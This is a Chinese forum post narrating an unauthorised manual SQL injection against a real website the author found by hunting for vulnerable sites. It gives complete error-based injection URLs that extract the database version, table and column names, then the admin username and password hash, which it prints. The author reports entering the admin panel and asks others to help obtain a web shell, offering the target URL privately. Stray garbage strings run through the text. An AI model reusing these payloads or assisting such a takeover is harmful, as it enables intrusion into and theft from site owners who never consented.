近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
5 B& m. k R0 L+ `首先找到网站后台,加了个admin,后台出来了
: e" q* v3 z* S. \/ Q8 F) Y. D
2 L( [$ X! T: Z5 C6 K5 @
6 L7 m3 j( q7 g3 {1 C0 D然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
& p' J3 Z8 W7 r' o$ u0 u6 \http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
* |. Y9 |# g( p& e& A6 W- `, m& V) V" {
' G4 P4 P: @6 i5 n8 q2 F1 B: J/ ^) h
; Q# `! ^) v3 G a. w- L9 @& ~http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg+ G8 I2 r! `3 _( \9 j
% {+ r, I; Y7 u' z C" Y6 ]% r: Q
4 r2 N5 ?: M3 G
0 I# `: I5 K' F1 x" `; V( a# k/ V2 L; j
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
: X% ~% x& H1 c
5 ~; ^: S- j9 m s% J& P. A$ B; j& n q) V. ]
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg9 M3 ?$ Z1 L7 ^* z/ v6 ~7 M
3 u: ? T6 q' c, h$ y- y T
5 {4 [8 M/ j; i2 m4 N" A 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
6 Q0 o% a" T1 Y
" h" F, ~) h$ f( a& M
$ q* S6 N- e, T$ [7 r' q$ \) E) ~8 y4 I3 Z
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
3 r% Y! o3 O0 }7 k$ N, b- f& M# [$ ]
5 L4 `+ @: g* C1 U% t% _! R5 N' W) w8 @# q1 V' @' e
# _9 d1 Z2 k. ^6 Q4 J 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |